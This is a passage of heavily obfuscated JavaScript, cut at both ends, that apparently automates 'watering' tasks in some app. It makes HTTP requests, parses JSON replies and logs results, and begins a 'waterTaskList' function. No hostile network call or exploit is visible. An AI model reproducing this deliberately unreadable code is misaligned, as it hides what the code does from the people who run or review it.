_0x1d5bb6(_0x3a0247,_0x55fabe,_0x125026,_0x43d722,_0x30ce63){return _0x14621e(_0x30ce63-0x2e,_0x43d722,_0x125026-0x105,_0x43d722-0x1de,_0x30ce63-0x5);}const _0x22029d={'\x4e\x73\x73\x71\x68':function(_0x5e641b,_0x2db5e6){return _0x5e641b+_0x2db5e6;},'\x44\x63\x6d\x54\x68':_0x1dc4d8(0x435,-0x1a1,-0x40,0x405,'\x44\x5d\x71\x6c')+_0x1d5bb6(-0x178,0x8cb,0x795,'\x21\x2a\x37\x57',0x53f)+'\u3011\x3a','\x61\x56\x4e\x50\x78':function(_0x195a65){return _0x195a65();},'\x57\x6e\x75\x55\x63':_0x1dc4d8(0xc3d,0x57a,0xd68,0xfc9,'\x7a\x78\x28\x4e')+_0x1dc4d8(0x79e,0xb3b,0xaf8,0x64e,'\x45\x64\x30\x4a'),'\x63\x79\x69\x67\x4d':function(_0x258f1d,_0x54e64d){return _0x258f1d>_0x54e64d;},'\x55\x71\x57\x56\x50':function(_0x36f2b8,_0x178fd2){return _0x36f2b8===_0x178fd2;},'\x4e\x55\x66\x4b\x46':_0x2288b2(0x1128,0xf7a,0xff6,'\x5d\x79\x74\x33',0x11fb),'\x4f\x6a\x4d\x76\x53':_0x2288b2(0x98a,0xdd4,0xe05,'\x45\x55\x66\x55',0xe66),'\x42\x56\x6e\x51\x53':function(_0x15edab,_0x420dc2){return _0x15edab==_0x420dc2;},'\x68\x50\x47\x48\x70':_0x4c6cdb(0x284,0x21,0x2da,0x94e,'\x23\x4b\x6e\x33'),'\x76\x42\x68\x63\x53':_0x4c6cdb(0x138b,0x10bd,0xee0,0x15a7,'\x5d\x5b\x48\x44'),'\x52\x7a\x73\x67\x54':function(_0x5270b7,_0x16d4ec){return _0x5270b7>_0x16d4ec;},'\x70\x72\x79\x43\x4a':_0x4c6cdb(0x1a6,-0x340,0x34c,0x3f,'\x64\x6f\x4e\x70')+_0x1dc4d8(0xd8d,0xa33,0x1431,0xd6a,'\x5d\x5b\x48\x44'),'\x69\x6b\x59\x70\x62':_0x2288b2(0x2b6,0x7d7,0xe98,'\x4c\x28\x57\x30',0xa5f)+_0x4c6cdb(0x1356,0xf41,0xca6,0x134c,'\x21\x33\x39\x77')+_0x2288b2(0x684,0xbf2,0x9ee,'\x73\x28\x4d\x75',0x1149),'\x4b\x4d\x49\x67\x55':_0x1d5bb6(0x95f,0x49a,-0x191,'\x30\x29\x35\x70',0x504)+_0x1d5bb6(0xe55,0xb35,0x1345,'\x4d\x58\x52\x4d',0xd15),'\x61\x66\x76\x6c\x6f':_0x4c6cdb(0x7c1,0x975,0x93c,0x909,'\x44\x5d\x71\x6c'),'\x76\x71\x51\x45\x5a':function(_0x3978b1,_0x4ef603){return _0x3978b1!==_0x4ef603;},'\x64\x4b\x4c\x48\x48':_0x1d5bb6(0xf07,0xe5d,0x6fd,'\x21\x33\x39\x77',0x9c9),'\x71\x6f\x6a\x42\x78':_0x1d5bb6(-0x1a6,-0x34a,0x74b,'\x6e\x76\x6d\x2a',0xb8),'\x6f\x6f\x6f\x59\x51':function(_0x510e84,_0x5b39ad,_0x4bcc5a){return _0x510e84(_0x5b39ad,_0x4bcc5a);},'\x51\x49\x52\x72\x55':_0x439946(0x1350,0xb31,0xe9b,'\x58\x23\x51\x29',0xc83)+_0x2288b2(0x6c4,0x96e,0xda5,'\x67\x4d\x30\x75',0x66b)+_0x2288b2(0xfd8,0xf3d,0x15c9,'\x5d\x79\x74\x33',0xab2)+_0x439946(0x110c,0xb9f,0xc0b,'\x79\x45\x73\x4a',0xfed)+_0x1d5bb6(0x4f3,-0x473,0x617,'\x45\x74\x4e\x68',0x7c)+_0x1dc4d8(0x962,0xdba,0x442,0x5f5,'\x30\x29\x35\x70')+_0x1d5bb6(0xbc7,0x472,0xb54,'\x7a\x78\x28\x4e',0x65c)+_0x1d5bb6(0xc72,0x7e5,0x9b9,'\x45\x64\x30\x4a',0xa0b)+_0x2288b2(0x63e,0x940,0xb2c,'\x56\x6b\x71\x37',0xe53)+_0x439946(0x71e,0x6f1,0x1c7,'\x5d\x5b\x48\x44',0x600)+_0x2288b2(0x32f,0x36a,0x381,'\x54\x56\x24\x21',-0x11c)+_0x439946(0xe51,0x1193,0x125d,'\x61\x4c\x56\x47',0xe96)+_0x439946(0x13bc,0x877,0xed2,'\x64\x6f\x4e\x70',0xe83)+_0x1dc4d8(0x587,0x6da,0x99,-0xf5,'\x6c\x54\x48\x57')+_0x1d5bb6(0xd05,0x981,0xb7b,'\x45\x55\x66\x55',0xc4f),'\x72\x42\x50\x47\x74':_0x1d5bb6(0x1177,0x10b3,0xf60,'\x7a\x78\x28\x4e',0xc0e)+_0x2288b2(0x77b,0xbaa,0x4fe,'\x49\x29\x49\x39',0xdcc)+_0x4c6cdb(0x3f5,0x740,0x8d6,0xe79,'\x21\x6e\x65\x4c')+_0x2288b2(0x97f,0x869,0x6b9,'\x24\x4b\x72\x6d',0x320),'\x4a\x64\x46\x62\x71':function(_0x740115,_0x5ddd3f){return _0x740115===_0x5ddd3f;},'\x70\x7a\x44\x53\x61':_0x4c6cdb(-0x3f9,-0x3c6,0x220,0x172,'\x6b\x72\x35\x76'),'\x52\x41\x48\x6e\x57':function(_0x3e9160){return _0x3e9160();}};function _0x2288b2(_0x2a1293,_0x32f31b,_0x5d8c53,_0x4f753f,_0x54e395){return _0x38128f(_0x2a1293-0x4a,_0x32f31b-0x9f,_0x5d8c53-0x1c5,_0x4f753f,_0x32f31b-0x56c);}function _0x1dc4d8(_0x5a83b9,_0xcdd122,_0x9e7e2f,_0x59ff3b,_0x2136cd){return _0x14621e(_0x5a83b9-0x1e6,_0x2136cd,_0x9e7e2f-0x8,_0x59ff3b-0x164,_0x2136cd-0x116);}function _0x439946(_0x52fa9b,_0x5e5e77,_0x30a96b,_0x4fe860,_0x5f4059){return _0x14621e(_0x5f4059-0x351,_0x4fe860,_0x30a96b-0xa4,_0x4fe860-0x106,_0x5f4059-0x86);}function _0x4c6cdb(_0x5d4f65,_0x1b809c,_0x289423,_0x14af98,_0x11cf2b){return _0x14621e(_0x289423-0x154,_0x11cf2b,_0x289423-0x144,_0x14af98-0x7b,_0x11cf2b-0x17a);}return new Promise(async _0x40544b=>{function _0x277c74(_0x123510,_0x12aeb5,_0x258447,_0x55d304,_0x6efb08){return _0x2288b2(_0x123510-0x69,_0x55d304- -0x19a,_0x258447-0x151,_0x123510,_0x6efb08-0x62);}function _0x4e4d79(_0x37a1df,_0xd191ec,_0x50f61e,_0x3a3b07,_0x581704){return _0x1d5bb6(_0x37a1df-0x194,_0xd191ec-0x1f2,_0x50f61e-0x63,_0xd191ec,_0x37a1df-0x43c);}function _0x3c3480(_0x1fb278,_0x1b6acf,_0x174e6e,_0x5a692c,_0x440760){return _0x1d5bb6(_0x1fb278-0xc6,_0x1b6acf-0xa3,_0x174e6e-0x119,_0x5a692c,_0x174e6e- -0x132);}function _0x3dbea6(_0x477465,_0x42acf6,_0x9a903f,_0x101d2c,_0x2b56c8){return _0x1dc4d8(_0x477465-0x302,_0x42acf6-0x1be,_0x9a903f-0x47,_0x101d2c-0x65,_0x9a903f);}const _0x2eb417={'\x47\x63\x76\x68\x4f':function(_0xe5da51,_0x58286b){function _0xa41b3(_0x169231,_0x111239,_0x1c5c2f,_0xbad06c,_0x39c378){return _0x4a4e(_0x39c378- -0x5e,_0x169231);}return _0x22029d[_0xa41b3('\x4e\x74\x35\x73',0x1051,0xbfc,0xf69,0xad0)](_0xe5da51,_0x58286b);},'\x4d\x71\x4e\x71\x5a':_0x22029d[_0x3c3480(0x190,0x536,0x3ac,'\x4a\x55\x45\x71',-0x227)],'\x7a\x63\x76\x77\x46':function(_0x8dbeb8){function _0x3fd32c(_0x3e55a3,_0x4a4137,_0x3d93a4,_0x4a7366,_0x4474cc){return _0x3c3480(_0x3e55a3-0x1ba,_0x4a4137-0x6f,_0x4474cc- -0x57,_0x3e55a3,_0x4474cc-0x18e);}return _0x22029d[_0x3fd32c('\x4c\x28\x57\x30',0x363,0xaf,-0x2c1,0x3c2)](_0x8dbeb8);},'\x76\x71\x66\x51\x59':_0x22029d[_0x3c3480(0xcd,0xa56,0x573,'\x5d\x6e\x6c\x64',0xbe5)],'\x64\x41\x57\x79\x53':function(_0x4f759e,_0x4b2d18){function _0x2706bd(_0x3ed340,_0x915267,_0x3b8e2d,_0x1b03fc,_0x1765ca){return _0x3c3480(_0x3ed340-0x72,_0x915267-0xcb,_0x915267-0x21,_0x3b8e2d,_0x1765ca-0x2a);}return _0x22029d[_0x2706bd(-0x475,-0x53,'\x41\x40\x62\x74',-0x209,0xdd)](_0x4f759e,_0x4b2d18);},'\x4c\x4a\x4a\x55\x4b':function(_0x3b0316,_0x34e578){function _0x44f640(_0x42ae15,_0x4be20b,_0x219bbb,_0x1a7fc8,_0xf935de){return _0x3c3480(_0x42ae15-0x5e,_0x4be20b-0x142,_0x4be20b-0x258,_0x1a7fc8,_0xf935de-0x1c1);}return _0x22029d[_0x44f640(-0x18f,0x505,0x9d1,'\x4d\x58\x52\x4d',0x673)](_0x3b0316,_0x34e578);},'\x58\x6f\x6d\x59\x48':_0x22029d[_0x3dbea6(0xfbe,0x1032,'\x70\x4b\x21\x31',0xe4c,0xaf2)],'\x56\x59\x6c\x42\x63':_0x22029d[_0x4e4d79(0xf50,'\x5d\x6e\x6c\x64',0xdcd,0x102d,0x890)],'\x4b\x76\x4a\x68\x77':function(_0xafa5f1,_0x5dd7e9){function _0x1dfe68(_0x4a9c0d,_0x46fc64,_0x4b98a2,_0x5b781d,_0x5cf76f){return _0x3c3480(_0x4a9c0d-0xe5,_0x46fc64-0x90,_0x4a9c0d-0x52a,_0x46fc64,_0x5cf76f-0x1aa);}return _0x22029d[_0x1dfe68(0x9b1,'\x6f\x65\x59\x78',0x106a,0x9a7,0x7a8)](_0xafa5f1,_0x5dd7e9);},'\x58\x78\x52\x65\x61':_0x22029d[_0x314270(0x106f,0x1266,'\x5d\x6e\x6c\x64',0x1301,0xb89)],'\x72\x78\x52\x4d\x4d':_0x22029d[_0x277c74('\x6e\x76\x6d\x2a',0x802,0x897,0x570,0x165)],'\x43\x56\x78\x50\x4a':function(_0x5d2d07,_0x2a4091){function _0x30762d(_0xac5ec1,_0x55eeab,_0x59d46b,_0x4b8dd9,_0x3646e0){return _0x3dbea6(_0x55eeab-0x2f,_0x55eeab-0xcb,_0x59d46b,_0x4b8dd9-0x71,_0x3646e0-0x5a);}return _0x22029d[_0x30762d(0x8a1,0x84a,'\x55\x4e\x28\x56',0x3c7,0xc49)](_0x5d2d07,_0x2a4091);},'\x69\x63\x79\x58\x78':function(_0x534811,_0x27bfa3){function _0x5ca0cb(_0x150e7d,_0x18aba5,_0x4f3bd1,_0x6bbf0a,_0xb95736){return _0x3dbea6(_0x150e7d- -0x67e,_0x18aba5-0x4f,_0x18aba5,_0x6bbf0a-0x8,_0xb95736-0x9e);}return _0x22029d[_0x5ca0cb(-0xe0,'\x7a\x78\x28\x4e',-0x293,0xf1,0x69)](_0x534811,_0x27bfa3);},'\x46\x66\x65\x6b\x4b':_0x22029d[_0x314270(0x11d3,0xb6f,'\x79\x45\x73\x4a',0xe32,0x1413)],'\x79\x51\x6d\x50\x42':_0x22029d[_0x3c3480(0x635,0x69b,0xa2d,'\x6f\x65\x59\x78',0xb9f)],'\x49\x73\x49\x49\x61':_0x22029d[_0x314270(0xec0,0xbd2,'\x56\x55\x65\x45',0x13d1,0xf46)]};function _0x314270(_0x444731,_0x5bfb33,_0x239054,_0x488062,_0x1cb74b){return _0x439946(_0x444731-0x182,_0x5bfb33-0x1d,_0x239054-0x1a9,_0x239054,_0x444731-0x205);}if(_0x22029d[_0x314270(0x106d,0xceb,'\x21\x6e\x65\x4c',0xd92,0xa83)](_0x22029d[_0x3dbea6(0x983,0x345,'\x58\x23\x51\x29',0x656,0x9c8)],_0x22029d[_0x3c3480(0x821,0x385,0x342,'\x30\x31\x32\x62',0x320)]))try{if(_0x22029d[_0x3c3480(0x644,0xc0a,0x6e9,'\x76\x74\x36\x39',0x36e)](_0x22029d[_0x3c3480(0xe3,0x53c,0x205,'\x30\x31\x32\x62',0x7a)],_0x22029d[_0x314270(0x111e,0x139d,'\x24\x66\x56\x5d',0xc18,0xa90)])){let _0xdc8960=_0x22029d[_0x4e4d79(0xf88,'\x79\x45\x73\x4a',0x9ca,0xb87,0x119e)](urlTask,_0x22029d[_0x3dbea6(0xe39,0xa62,'\x5d\x79\x74\x33',0x797,0xd86)],_0x22029d[_0x3c3480(0xe9a,0x78b,0x80d,'\x70\x4b\x21\x31',0xe09)]);await $[_0x277c74('\x5b\x35\x69\x4f',0x5eb,0xa7c,0x74d,0xa43)][_0x314270(0xb27,0x692,'\x4a\x55\x45\x71',0x557,0x65f)](_0xdc8960)[_0x314270(0x574,0x117,'\x64\x6f\x4e\x70',0x5b1,0x2dc)](async _0x306d57=>{function _0x3c01b5(_0x3c4305,_0x5914a6,_0x7f5add,_0x229426,_0x1f7127){return _0x277c74(_0x7f5add,_0x5914a6-0x70,_0x7f5add-0x1b9,_0x5914a6-0x25d,_0x1f7127-0xd2);}function _0x4b2ff6(_0x26c9b5,_0x5706f4,_0x2c4125,_0x548fbb,_0x107325){return _0x3c3480(_0x26c9b5-0x1b1,_0x5706f4-0xa9,_0x5706f4-0xd7,_0x2c4125,_0x107325-0x181);}const _0x1f6c3f={'\x56\x74\x62\x71\x79':function(_0x120f48,_0x138d62){function _0x2859aa(_0x3e45df,_0x2df34b,_0x16298c,_0x176fb1,_0x12909b){return _0x4a4e(_0x176fb1- -0x201,_0x2df34b);}return _0x2eb417[_0x2859aa(0x1097,'\x4c\x28\x57\x30',0xf02,0xaea,0x9e8)](_0x120f48,_0x138d62);},'\x4f\x43\x47\x55\x78':_0x2eb417[_0x3c01b5(0x735,0xd6d,'\x23\x4b\x6e\x33',0xb66,0x1146)],'\x46\x5a\x44\x57\x63':function(_0x2e89e9){function _0x4356f3(_0x2cd3a5,_0x369e0e,_0x162c82,_0x3d0e79,_0x77ff6c){return _0x3c01b5(_0x2cd3a5-0x1cd,_0x77ff6c-0x30,_0x369e0e,_0x3d0e79-0x16a,_0x77ff6c-0xec);}return _0x2eb417[_0x4356f3(0xa23,'\x5d\x6e\x6c\x64',0x411,0x8f0,0x9e3)](_0x2e89e9);},'\x74\x68\x72\x67\x44':_0x2eb417[_0x5918e8(0x10f,'\x79\x45\x73\x4a',0x5c7,0x142,0x49b)],'\x57\x57\x57\x78\x41':function(_0x2e0256,_0x5a66ec){function _0x16fb26(_0x51744a,_0x4af95c,_0x29bae4,_0x1fd029,_0x1a523d){return _0x5918e8(_0x51744a-0x58,_0x51744a,_0x1fd029- -0x234,_0x1fd029-0x1ec,_0x1a523d-0x61);}return _0x2eb417[_0x16fb26('\x6f\x65\x59\x78',0x85e,0x12e,0x7e7,0x5e3)](_0x2e0256,_0x5a66ec);}};function _0x27fa32(_0x45664e,_0x1b8aad,_0xcb6f51,_0x1523f5,_0x331def){return _0x277c74(_0x1b8aad,_0x1b8aad-0x1d0,_0xcb6f51-0x27,_0x45664e- -0xc7,_0x331def-0x10a);}function _0x12dd71(_0x3ef924,_0x340ec2,_0x4cf745,_0x30e94c,_0x3d0d0){return _0x314270(_0x340ec2- -0xe8,_0x340ec2-0x192,_0x4cf745,_0x30e94c-0x3d,_0x3d0d0-0x1ce);}function _0x5918e8(_0x1d64c1,_0x166e90,_0x431036,_0x34c78f,_0x572bed){return _0x3dbea6(_0x431036- -0x222,_0x166e90-0x82,_0x166e90,_0x34c78f-0x28,_0x572bed-0x14e);}if(_0x2eb417[_0x5918e8(0x276,'\x58\x23\x51\x29',0x6f0,0x7d0,0x40a)](_0x2eb417[_0x12dd71(0xe83,0xa7d,'\x67\x4d\x30\x75',0xc81,0xd54)],_0x2eb417[_0x27fa32(0x141,'\x43\x75\x73\x46',0x107,0x416,0xa5)]))_0x45a581[_0x4b2ff6(0x347,0x65e,'\x30\x29\x35\x70',0x333,0xc04)](_0x1f6c3f[_0x5918e8(0x720,'\x58\x23\x51\x29',0x3a0,0x4e7,0x6bf)](_0x1f6c3f[_0x4b2ff6(0x166,0x78e,'\x30\x29\x35\x70',0xde6,0x26b)],_0x48e70d)),_0x1f6c3f[_0x5918e8(0x118d,'\x67\x4d\x30\x75',0xaba,0xb0d,0x960)](_0xdf3075);else{let _0x9702dc=JSON[_0x12dd71(0x856,0x644,'\x6f\x65\x59\x78',0xa0e,0x330)](_0x306d57[_0x3c01b5(0x1699,0x10c0,'\x61\x4c\x56\x47',0xa0c,0xd6d)]);if(_0x2eb417[_0x4b2ff6(0x796,0x91f,'\x23\x4b\x6e\x33',0xb8a,0xb79)](_0x9702dc[_0x4b2ff6(0x30f,0x108,'\x45\x64\x30\x4a',0x21a,-0x2fb)+'\x74'],-0x1788+-0x5f7+0x1d80)){if(_0x2eb417[_0x4b2ff6(0x2bb,-0x4,'\x4a\x55\x45\x71',-0x666,0x4b6)](_0x2eb417[_0x3c01b5(0x98e,0x46d,'\x24\x66\x56\x5d',0x679,0x53a)],_0x2eb417[_0x12dd71(0x7d4,0x596,'\x4c\x34\x59\x31',0x6c7,0x901)])){let _0xd16308=_0x2f7d08[_0x5918e8(0xade,'\x34\x4a\x59\x74',0xc5a,0x7c2,0x910)](_0x1f6c3f[_0x12dd71(0x556,0x86e,'\x43\x75\x73\x46',0xd0f,0x2d4)]);!!_0xd16308&&(_0xd16308=_0xd16308[_0x4b2ff6(-0x13a,0x261,'\x45\x55\x66\x55',0x27e,0x489)+'\x63\x65'](/ /g,'')[_0x27fa32(0xce6,'\x21\x33\x39\x77',0x12ab,0x962,0x1294)+'\x63\x65'](/\r/g,'')[_0x4b2ff6(0x531,0x9e2,'\x31\x71\x6b\x4a',0x87e,0xf2a)+'\x63\x65'](/\n/g,''),_0x1f6c3f[_0x12dd71(0xaa8,0xda1,'\x67\x4d\x30\x75',0xa35,0xbec)](_0xd16308[_0x27fa32(0x7c5,'\x4a\x55\x45\x71',0xd29,0x95d,0x5a3)+'\x4f\x66']('\x2c'),-(-0x209a+-0x23c2+-0x445d*-0x1))?_0x5eb361=_0xd16308[_0x5918e8(-0x14a,'\x31\x71\x6b\x4a',0x45c,0x7ed,0x488)]('\x2c'):_0x4bdbf9[_0x27fa32(0xe14,'\x31\x71\x6b\x4a',0x89b,0xcbe,0xf97)](_0xd16308));}else{if(_0x2eb417[_0x3c01b5(0x7e2,0x937,'\x23\x4b\x6e\x33',0xb85,0x100f)](_0x9702dc[_0x27fa32(0xcbb,'\x55\x4e\x28\x56',0xc7b,0x107a,0x938)][_0x27fa32(0x974,'\x4f\x6f\x72\x35',0x3a7,0xec1,0xfd8)+_0x5918e8(0xc3c,'\x46\x42\x49\x42',0x1017,0xca6,0x10f2)+_0x5918e8(0x5b2,'\x5b\x35\x69\x4f',0x3b1,0x569,0x357)][_0x12dd71(0x14f,0x7d4,'\x79\x45\x73\x4a',0xb3c,0x599)+'\x68'],-0x22d5+0x19d5+-0x8*-0x120))console[_0x27fa32(0xb81,'\x21\x2a\x37\x57',0x738,0xd37,0x9b8)](_0x2eb417[_0x4b2ff6(0x4b,0x26d,'\x4f\x6f\x72\x35',-0x310,-0x20b)](_0x2eb417[_0x4b2ff6(0x3b1,0x56c,'\x30\x29\x35\x70',-0xeb,-0x71)],_0x9702dc[_0x5918e8(0x453,'\x46\x42\x49\x42',0x5b3,0x883,0xb98)][_0x4b2ff6(0x7d9,0x53b,'\x4e\x74\x35\x73',0x7a6,0x11e)+_0x3c01b5(0x1085,0xad9,'\x4d\x58\x52\x4d',0x77e,0x5d8)+_0x3c01b5(0xcd6,0xb35,'\x4d\x58\x52\x4d',0x9bf,0xf0e)][0xb*0x339+0x1bc*0x1+-0x252f][_0x5918e8(0xf96,'\x6e\x76\x6d\x2a',0xa3c,0xbdc,0xca8)][-0xdc1+0x17*0x138+-0xe47]));console[_0x5918e8(0x9fe,'\x56\x55\x65\x45',0x402,-0x1c3,-0x13c)](_0x2eb417[_0x4b2ff6(0x2a6,0x784,'\x4f\x6f\x72\x35',0xd70,0x781)]);}}else console[_0x27fa32(0x534,'\x49\x29\x49\x39',0x5f7,-0x94,0x675)](_0x2eb417[_0x5918e8(0x6ca,'\x70\x4b\x21\x31',0xd89,0xc2c,0x1100)](_0x2eb417[_0x3c01b5(0xb0f,0x1037,'\x4d\x58\x52\x4d',0x963,0x110b)],_0x9702dc[_0x5918e8(0xfcf,'\x6b\x72\x35\x76',0xb49,0xdbc,0x817)+_0x3c01b5(0x1687,0x10d0,'\x24\x4b\x72\x6d',0xd79,0xfd2)]));_0x2eb417[_0x27fa32(0xd58,'\x6f\x65\x59\x78',0xc4c,0x11e5,0xdea)](_0x40544b);}});}else _0x168243[_0x277c74('\x4c\x34\x59\x31',0xf3e,0x116e,0xc56,0x108e)](_0x284c44);}catch(_0x29c5de){_0x22029d[_0x277c74('\x43\x75\x73\x46',0x335,-0x21a,0x464,0xaac)](_0x22029d[_0x277c74('\x24\x4b\x72\x6d',0x588,0x377,0x50e,0x6b9)],_0x22029d[_0x3dbea6(0x1108,0xb5e,'\x76\x74\x36\x39',0x12d1,0xacd)])?(console[_0x314270(0x1050,0x16b9,'\x5d\x79\x74\x33',0xb11,0xd44)](_0x22029d[_0x3c3480(0x984,0x3ab,0x305,'\x6b\x72\x35\x76',0x55f)](_0x22029d[_0x3dbea6(0x65e,0x1ba,'\x56\x6b\x71\x37',0x3c8,0x8ae)],_0x29c5de)),_0x22029d[_0x314270(0xebf,0xc47,'\x73\x28\x4d\x75',0xfbd,0x147a)](_0x40544b)):(_0x58bdfd[_0x3dbea6(0x867,0x83f,'\x23\x4b\x6e\x33',0x1b3,0x9d3)](_0x2eb417[_0x4e4d79(0xb37,'\x4e\x74\x35\x73',0x1169,0xd23,0x4ab)](_0x2eb417[_0x3dbea6(0x859,0xc1c,'\x6e\x46\x49\x33',0x995,0x2bf)],_0x845116)),_0x2eb417[_0x277c74('\x56\x6b\x71\x37',0x12d2,0x1391,0xd05,0xba5)](_0x19f336));}else _0x5c52a5[_0x4e4d79(0x1029,'\x5d\x6e\x6c\x64',0x1052,0x1567,0xd8e)](_0x5c566a);});}async function waterTaskList(){function _0x843d5e(_0xbc2f48,_0x284872,_0x29b56d,_0x21bae1,_0x3f4abf){return _0x14621e(_0x21bae1-0x494,_0x29b56d,_0x29b56d-0x23,_0x21bae1-0xbf,_0x3f4abf-0x1dd);}function _0x44d4a9(_0x3281c9,_0x37f26c,_0x3db1e4,_0x1a17f1,_0x3cdfbd){return _0x14621e(_0x3281c9-0x101,_0x37f26c,_0x3db1e4-0x86,_0x1a17f1-0x11b,_0x3cdfbd-0x57);}const _0x396ae7={'\x58\x4d\x6b\x4e\x43':_0x19908d(0x558,0x71a,0x4fb,0x5e4,'\x64\x6f\x4e\x70')+_0x54faaa(0x117,'\x58\x23\x51\x29',0x772,0xdaf,0x7ea)+_0x54faaa(0x71b,'\x23\x4b\x6e\x33',0xdf6,0xda9,0xb48)+_0x843d5e(0xc39,0x95f,'\x51\x50\x65\x2a',0xfe0,0xb3e)+_0x843d5e(0x17eb,0x1116,'\x34\x4a\x59\x74',0x1242,0xbe4)+_0x54faaa(0xc52,'\x6f\x65\x59\x78',0x7e1,0x1135,0xb14),'\x6e\x43\x4f\x72\x59':_0x54faaa(0xf8d,'\x4c\x28\x57\x30',0x140c,0xd55,0xde3)+_0x44d4a9(0xea9,'\x21\x2a\x37\x57',0x14e8,0x12af,0xae6)+_0x54faaa(0x836,'\x58\x23\x51\x29',0x795,0x2b4,0x15a)+_0x19908d(0x31e,0xb64,0x6e4,0x591,'\x4f\x6f\x72\x35')+_0x54faaa(0xc92,'\x6e\x76\x6d\x2a',0x86d,0xa03,0x64f)+_0x54faaa(0x6a7,'\x5d\x6e\x6c\x64',0xd18,0xd0b,0xc86)+_0x843d5e(0x6b1,0x403,'\x21\x6e\x65\x4c',0x565,0xa21),'\x49\x6e\x78\x47\x46':_0x5d88ba('\x4a\x55\x45\x71',0x7e0,0x9ad,0x833,0x3de)+_0x54faaa(0x116b,'\x4e\x74\x35\x73',0x1318,0x1378,0xe4c)+_0x44d4a9(0xb66,'\x44\x5d\x71\x6c',0xe98,0x838,0x9ca)+_0x54faaa(0xebe,'\x24\x4b\x72\x6d',0x491,0xb06,0x7fe)+_0x54faaa(0x777,'\x21\x6e\x65\x4c',-0x1b4,-0x1ca,0x2b7)+_0x54faaa(0xa73,'\x30\x31\x32\x62',0x6df,0x93d,0x852)+_0x44d4a9(0x276,'\x51\x50\x65\x2a',-0x1d8,-0x1bb,0x312)+_0x19908d(0x1388,0xfc2,0x13bf,0xce5,'\x43\x75\x73\x46')+_0x44d4a9(0xb6f,'\x4a\x55\x45\x71',0x9bd,0xfa3,0xa3d)+_0x843d5e(0x541,0xc7c,'\x41\x6e\x41\x53',0x9d3,0xbe3)+_0x44d4a9(0x4d5,'\x23\x4b\x6e\x33',0x748,0x7bf,0xa8a)+_0x843d5e(0x360,-0xd0,'\x56\x55\x65\x45',0x58d,0xa99)+_0x5d88ba('\x76\x74\x36\x39',-0x1f7,0x314,0x703,-0x4e)+_0x54faaa(0x6c4,'\x70\x4b\x21\x31',0x6bc,0x462,0x498)+_0x5d88ba('\x5b\x35\x69\x4f',-0x680,-0x20d,0x293,-0x3ac)+_0x843d5e(0xd48,0xb97,'\x5b\x35\x69\x4f',0x104d,0x98f)+_0x54faaa(0xc59,'\x30\x29\x35\x70',0x1355,0x1514,0xe38)+_0x19908d(0xfb0,0xf52,0x14bb,0x12a8,'\x41\x6e\x41\x53')+_0x44d4a9(0xb26,'\x58\x23\x51\x29',0xe21,0x508,0xaa8)+_0x44d4a9(0xd69,'\x54\x56\x24\x21',0x8c2,0xa29,0xe72)+_0x5d88ba('\x41\x40\x62\x74',0xbf7,0xa93,0xede,0x92d)+_0x44d4a9(0x82c,'\x6e\x53\x58\x24',0xab3,0x644,0x3e8)+_0x5d88ba('\x4a\x55\x45\x71',0xb89,0x848,0x718,0x911)+_0x54faaa(0x6c0,'\x44\x5d\x71\x6c',0x9af,0x85f,0x810)+_0x44d4a9(0x539,'\x4d\x58\x52\x4d',-0x64,0x7d4,0x10a)+_0x19908d(0x7cd,0xf3f,0xdc0,0xc4a,'\x73\x28\x4d\x75')+_0x54faaa(0x101c,'\x21\x6e\x65\x4c',0x89a,0x967,0xa8d)+_0x5d88ba('\x6e\x76\x6d\x2a',0x5da,0x7e1,0x79e,0xd32)+_0x5d88ba('\x21\x6e\x65\x4c',0x972,0x6c1,0x679,0xbb4)+_0x54faaa(0xfb9,'\x41\x40\x62\x74',0x347,0x90b,0x9db)+_0x54faaa(0x456,'\x4f\x6f\x72\x35',0x144,0x5b7,0x126)+_0x54faaa(0x46b,'\x21\x2a\x37\x57',0x3ed,0x4bb,0xa66)+_0x19908d(0x40e,0x993,0x4d6,0xacd,'\x55\x4e\x28\x56')+_0x843d5e(0x9be,0x1325,'\x55\x4e\x28\x56',0xf09,0xd9c)+_0x44d4a9(0x53d,'\x46\x42\x49\x42',0xb9b,0x5f3,-0xa1)+_0x54faaa(0xa29,'\x44\x5d\x71\x6c',0x20d,0x5d6,0x831)+_0x19908d(0xe60,0xcb8,0x242,0x863,'\x6e\x53\x58\x24')+_0x54faaa(-0x367,'\x21\x33\x39\x77',0x806,-0x2bb,0x34e)+_0x19908d(0x27e,0x8f2,0xb1f,0x511,'\x5d\x5b\x48\x44')+_0x5d88ba('\x41\x40\x62\x74',-0x239,0x106,0x2d3,0x7e1)+_0x5d88ba('\x67\x4d\x30\x75',-0x4d6,0x1c4,-0x3d1,0x4fa)+_0x19908d(0x228,0x2c4,0xd0d,0x6e6,'\x30\x29\x35\x70')+_0x44d4a9(0x27b,'\x30\x29\x35\x70',-0xda,0x4ac,-0x197)+_0x19908d(0xf32,0xd26,0x131c,0xe45,'\x5d\x79\x74\x33')+_0x19908d(0x132b,0x848,0xdd5,0xd73,'\x6e\x53\x58\x24')+_0x44d4a9(0xe5f,'\x21\x2a\x37\x57',0x11b4,0xede,0xd56)+_0x54faaa(0xc4b,'\x6e\x46\x49\x33',0xed3,0x1486,0xecc)+_0x44d4a9(0xaba,'\x5d\x5b\x48\x44',0xc8b,0x57e,0x5ef)+_0x19908d(0x1353,0x1532,0xaa4,0xfca,'\x43\x75\x73\x46')+_0x54faaa(0x44a,'\x30\x29\x35\x70',0x268,0x8c4,0x307)+_0x843d5e(0x669,0x8a7,'\x55\x4e\x28\x56',0x588,0x836)+_0x54faaa(0x3f1,'\x4a\x55\x45\x71',-0x5e,0x540,0x59d),'\x48\x6f\x58\x4b\x54':_0x54faaa(0x137b,'\x54\x56\x24\x21',0x692,0x11dc,0xce9),'\x4a\x59\x66\x6d\x76':_0x5d88ba('\x6f\x65\x59\x78',0x38e,0x793,0x1c0,0x346)+_0x843d5e(0x1066,0xc06,'\x64\x6f\x4e\x70',0x10b3,0xcad),'\x63\x54\x69\x45\x4b':function(_0x508b4d,_0x4b4169){return _0x508b4d!==_0x4b4169;},'\x44\x51\x78\x4d\x51':_0x44d4a9(0x492,'\x46\x42\x49\x42',0x4d5,0x76b,-0x84),'\x6b\x6e\x76\x78\x6f':function(_0x90fb8c,_0x4d8302){return _0x90fb8c(_0x4d8302);},'\x61\x72\x4e\x69\x49':function(_0x32e3ee,_0x380b22){return _0x32e3ee+_0x380b22;},'\x66\x75\x63\x68\x70':_0x44d4a9(0xa6d,'\x4e\x74\x35\x73',0x821,0xeef,0xa0f)+'\x3a','\x58\x68\x4d\x67\x48':function(_0x4541aa,_0x461072){return 